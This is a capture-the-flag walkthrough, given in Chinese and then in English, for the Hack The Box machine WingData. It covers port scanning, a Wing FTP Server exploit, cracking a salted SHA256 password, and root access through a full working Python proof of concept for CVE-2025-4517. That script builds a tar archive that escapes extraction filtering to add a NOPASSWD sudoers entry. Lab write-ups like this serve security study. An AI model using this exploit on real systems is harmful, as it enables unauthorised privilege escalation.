本文介绍了对WingData的渗透测试过程,包括信息收集、漏洞分析和利用。通过Nmap扫描发现开放的SSH和HTTP端口,进一步识别出Wing FTP Server的漏洞。利用该漏洞获得用户wacky的密码,并通过特权提升 This article details the penetration testing process for WingData, covering information gathering, vulnerability analysis, and exploitation. Nmap scanning revealed open SSH and HTTP ports, leading to the identification of a vulnerability in Wing FTP Server. This vulnerability was exploited to obtain the password for the user wacky, followed by privilege escalation.

Information Gathering

# Nmap 7.98 scan initiated Tue Feb 17 05:13:04 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.104.203
Nmap scan report for 10.129.104.203
Host is up (0.096s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vulnerability Analysis

浏览网页得知虚拟主机:ftp.wingdata.htb

进入获取到Web应用程序Wing FTP Server v7.4.3

搜索得到https://www.exploit-db.com/exploits/52347

Exploitation (User Flag)

根据此exploit可以获取到winftpshell,搜索/home发现用户wacky

grep -rnio "wacky" . 2>/dev/null可获取到密码在文件:./Data/1/users/wacky.xml

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

通过谷歌搜索:hash site:*.wftpserver.com

可以获取到此页面:https://www.wftpserver.com/help/ftpserver/index.html?compression.htm

即可得到密码的盐为WingFTP,类型:SHA256

破解获取到密码:!#7Blushing^*Bride5

Privilege Escalation (Root Flag)

Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py 

查看python文件发现:

tar.extractall(path=staging_dir, filter="data")

Python是3.12

CVE-2025-4517

一个路径验证与路径实现之间的不匹配问题 (Mismatch between path validation and path realization)。在底层处理(例如调用操作系统的 os.path.realpath() 函数处理 PATH_MAX 限制条件)时,如果恶意 .tar 文件内部包含指向 ../../../../etc/passwd 或其他关键系统目录的恶意成员名,tarfile"data" 过滤器无法成功将其拦截。

结果就是,原本应该被限制在安全解压目录下的文件,突破了边界,被跨目录写入到了系统的绝对路径中。

创建恶意的tar文件

import os       # Operating System (操作系统接口)
import io       # Input/Output (输入输出接口)
import tarfile  # Tape Archive File (磁带归档文件接口)

# 创建带有符号链接循环的深层嵌套目录
def create_exploit_tar(username, output_file):
    comp = 'a' * 247
    steps = "abcdefghijklmnop"
    path = ""
    sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()
    
    # 阶段一: 创建带有符号链接循环的深层嵌套目录
    with tarfile.open(output_file, mode="w") as tar:
        for i in steps:
            # os.path.join: Operating System Path Join (操作系统路径拼接)
            a = tarfile.TarInfo(os.path.join(path, comp))
            # DIRTYPE: Directory Type (目录类型)
            a.type = tarfile.DIRTYPE
            tar.addfile(a)
            
            b = tarfile.TarInfo(os.path.join(path, i))
            # SYMTYPE: Symbolic Link Type (符号链接/软链接类型)
            b.type = tarfile.SYMTYPE
            b.linkname = comp
            tar.addfile(b)
            
            path = os.path.join(path, comp)
            
        # 阶段二:创建向上延伸多级的长符号链接链
        linkpath = os.path.join("/".join(steps), "l" * 254)
        l = tarfile.TarInfo(linkpath)
        l.type = tarfile.SYMTYPE
        l.linkname = "../" * len(steps)  # Go up 16 levels
        tar.addfile(l)
        
        # 阶段三:指向 /etc 的最终逃逸符号链接
        e = tarfile.TarInfo("escape")
        e.type = tarfile.SYMTYPE
        e.linkname = linkpath + "/../../../../../../../etc"
        tar.addfile(e)
        
        # 阶段四:通过转义符创建指向sudoers的硬链接
        f = tarfile.TarInfo("sudoers_link")
        # LNKTYPE: Hard Link Type (硬链接类型)
        f.type = tarfile.LNKTYPE
        f.linkname = "escape/sudoers"
        tar.addfile(f)
        
        # 阶段五:写入实际内容 - 写入硬链接的索引节点
        c = tarfile.TarInfo("sudoers_link")
        # REGTYPE: Regular File Type (普通文件类型)
        c.type = tarfile.REGTYPE
        c.size = len(sudoers_entry)
        # io.BytesIO: Input/Output Bytes In/Out (字节流内存文件对象)
        tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))
        
    print(f"[+] Exploit tar created: {output_file}")
    return output_file

if __name__ == "__main__":
    target_user = "wacky"
    payload_filename = "backup_1111.tar"
    print("[*] 正在生成攻击载荷...")
    create_exploit_tar(target_user, payload_filename)
    print(f"[*] 执行完毕,请查看当前目录下的 {payload_filename}")

代码来源:https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData/blob/main/CVE-2025-4517-POC.py

紧接着移动到/opt/backup_clients/backups目录下

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1111.tar -r restore_exploit

即可获取shell

Information Gathering

# Nmap 7.98 scan initiated Tue Feb 17 05:13:04 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.104.203
Nmap scan report for 10.129.104.203
Host is up (0.096s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vulnerability Analysis

Browsing the webpage reveals the virtual host: ftp.wingdata.htb

Accessing it reveals the web application Wing FTP Server v7.4.3

Searching yields https://www.exploit-db.com/exploits/52347

Exploitation (User Flag)

Using this exploit, we can obtain a shell for winftp. Searching /home reveals the user wacky.

grep -rnio "wacky" . 2>/dev/null reveals the password in the file: ./Data/1/users/wacky.xml

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

By searching Google: hash site:*.wftpserver.com

the following page is found: https://www.wftpserver.com/help/ftpserver/index.html?compression.htm

This reveals the salt for the password is WingFTP, type: SHA256

Cracking yields the password: !#7Blushing^*Bride5

Privilege Escalation (Root Flag)

Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py 

Reviewing the Python file reveals:

tar.extractall(path=staging_dir, filter="data")

Python is 3.12

CVE-2025-4517

This is a mismatch between path validation and path realization. When underlying processing (e.g., calling the OS os.path.realpath() function handling PATH_MAX limits) handles a malicious .tar file containing member names pointing to ../../../../etc/passwd or other critical system directories, the tarfile "data" filter fails to intercept it.

As a result, files that should be restricted to a safe extraction directory escape and are written to absolute system paths.

Creating the Malicious TAR File

import os       # Operating System (OS interface)
import io       # Input/Output (I/O interface)
import tarfile  # Tape Archive File (tar archive interface)

# Create deeply nested directories with symbolic link loops
def create_exploit_tar(username, output_file):
    comp = 'a' * 247
    steps = "abcdefghijklmnop"
    path = ""
    sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()
    
    # Phase 1: Create deeply nested directories with symbolic link loops
    with tarfile.open(output_file, mode="w") as tar:
        for i in steps:
            # os.path.join: Operating System Path Join (OS path concatenation)
            a = tarfile.TarInfo(os.path.join(path, comp))
            # DIRTYPE: Directory Type (directory type)
            a.type = tarfile.DIRTYPE
            tar.addfile(a)
            
            b = tarfile.TarInfo(os.path.join(path, i))
            # SYMTYPE: Symbolic Link Type (symbolic link/soft link type)
            b.type = tarfile.SYMTYPE
            b.linkname = comp
            tar.addfile(b)
            
            path = os.path.join(path, comp)
            
        # Phase 2: Create a long symbolic link chain extending upwards
        linkpath = os.path.join("/".join(steps), "l" * 254)
        l = tarfile.TarInfo(linkpath)
        l.type = tarfile.SYMTYPE
        l.linkname = "../" * len(steps)  # Go up 16 levels
        tar.addfile(l)
        
        # Phase 3: Final escape symbolic link pointing to /etc
        e = tarfile.TarInfo("escape")
        e.type = tarfile.SYMTYPE
        e.linkname = linkpath + "/../../../../../../../etc"
        tar.addfile(e)
        
        # Phase 4: Hard link to sudoers via escape sequence
        f = tarfile.TarInfo("sudoers_link")
        # LNKTYPE: Hard Link Type (hard link type)
        f.type = tarfile.LNKTYPE
        f.linkname = "escape/sudoers"
        tar.addfile(f)
        
        # Phase 5: Write actual content - write to inode of hard link
        c = tarfile.TarInfo("sudoers_link")
        # REGTYPE: Regular File Type (regular file type)
        c.type = tarfile.REGTYPE
        c.size = len(sudoers_entry)
        # io.BytesIO: Input/Output Bytes In/Out (in-memory bytes file object)
        tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))
        
    print(f"[+] Exploit tar created: {output_file}")
    return output_file

if __name__ == "__main__":
    target_user = "wacky"
    payload_filename = "backup_1111.tar"
    print("[*] Generating exploit payload...")
    create_exploit_tar(target_user, payload_filename)
    print(f"[*] Execution complete. Please check {payload_filename} in the current directory")

Source: https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData/blob/main/CVE-2025-4517-POC.py

Next, move to the /opt/backup_clients/backups directory

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1111.tar -r restore_exploit

This yields a shell